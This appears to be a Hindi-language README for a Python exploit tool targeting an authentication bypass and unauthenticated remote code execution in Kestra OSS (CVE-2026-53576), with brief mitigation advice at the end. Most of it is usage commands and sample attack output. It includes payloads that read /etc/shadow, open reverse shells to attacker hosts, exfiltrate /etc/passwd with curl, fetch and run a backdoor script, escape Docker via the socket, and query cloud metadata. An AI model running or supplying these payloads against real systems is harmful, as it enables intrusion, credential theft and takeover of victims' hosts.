
# केस्ट्रा अनअथेंटिकेटेड RCE एक्सप्लॉइट (CVE-2026-53576)
गंभीर प्रमाणीकरण बायपास जो बिना प्रमाणीकरण के रिमोट कोड निष्पादन की ओर ले जाता है
एक्सप्लॉइट • भेद्यता विवरण • प्रभाव • निवारण
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
- उपयोग न करें उन सिस्टम पर जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
- उपयोग न करें अवैध गतिविधियों के लिए।
- लेखक इस टूल के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
- अपने जोखिम पर उपयोग करें।
CVE-2026-53576, Kestra OSS के v1.3.20 तक के संस्करणों में एक गंभीर भेद्यता है, जो प्रमाणीकरण फ़िल्टर बायपास के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देती है।
| विशेषता | मान |
|---|---|
| CVE ID | CVE-2026-53576 |
| गंभीरता | गंभीर (9.8 CVSS) |
| भेद्यता प्रकार | प्रमाणीकरण बायपास + RCE |
| प्रभावित उत्पाद | Kestra OSS |
| प्रभावित संस्करण | ≤ v1.3.20 |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण आवश्यक | नहीं |
| उपयोगकर्ता सहभागिता | नहीं |
Kestra में प्रमाणीकरण फ़िल्टर में एक गंभीर तर्क दोष है:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
यह जाँचता है कि क्या कोई भी API अनुरोध /configs पर समाप्त होता है, बजाय सटीक रूट से मेल खाने के। यह हमलावरों को किसी भी एंडपॉइंट पर /configs जोड़कर प्रमाणीकरण बायपास करने की अनुमति देता है।
POST /api/v1/main/flows/configs (प्रमाणीकरण बायपास करता है)POST /api/v1/main/executions/configs/configs (प्रमाणीकरण बायपास करता है)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| विकल्प | विवरण |
|---|---|
target | लक्ष्य IP पता या होस्टनाम (आवश्यक) |
-p, --port | पोर्ट (डिफ़ॉल्ट: 8080) |
--https | HTTP के बजाय HTTPS का उपयोग करें |
-c, --command | निष्पादित करने के लिए कस्टम कमांड |
--docker-check | Docker सॉकेट एक्सेस की जाँच करें |
--cleanup | एक्सप्लॉइटेशन के बाद फ्लो को हटाएं |
--delay | अनुरोधों के बीच विलंब (डिफ़ॉल्ट: 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
आउटपुट:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| श्रेणी | गंभीरता | विवरण |
|---|---|---|
| गोपनीयता | ⚠️ गंभीर | कोई भी फ़ाइल पढ़ें (पासवर्ड, रहस्य, कॉन्फ़िगरेशन) |
| अखंडता | ⚠️ गंभीर | फ्लो और डेटा बनाएं/संशोधित करें/हटाएं |
| उपलब्धता | ⚠️ उच्च | सिस्टम बंद करें, संसाधनों की कमी |
| प्रमाणीकरण | ⚠️ गंभीर | Basic-Auth का पूर्ण बायपास |
| विशेषाधिकार वृद्धि | ⚠️ गंभीर | कमांड रूट के रूप में चलते हैं (uid=0) |
| कंटेनर एस्केप | ⚠️ गंभीर | Docker सॉकेट के माध्यम से होस्ट से समझौता |
एक बिना प्रमाणीकरण वाला हमलावर निम्न कार्य कर सकता है:
रूट के रूप में मनमाने कमांड निष्पादित करें:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
होस्ट सिस्टम में पिवट करें (यदि Docker सॉकेट माउंटेड है):
docker run -v /:/host --privileged alpine chroot /host
क्लाउड मेटाडेटा एक्सेस करें (यदि क्लाउड प्रदाता पर हैं):
curl http://169.254.169.254/latest/meta-data/
भेद्य इंस्टेंस बंद करें:
sudo systemctl stop kestra
सार्वजनिक एक्सेस ब्लॉक करें:
iptables -A INPUT -p tcp --dport 8080 -j DROP
फ़ायरवॉल नियम लागू करें:
Kestra को नवीनतम पैच किए गए संस्करण में अपडेट करें:
उचित प्रमाणीकरण लागू करें:
कंटेनर हार्डनिंग:
/var/run/docker.sock माउंट न करेंनेटवर्क हार्डनिंग: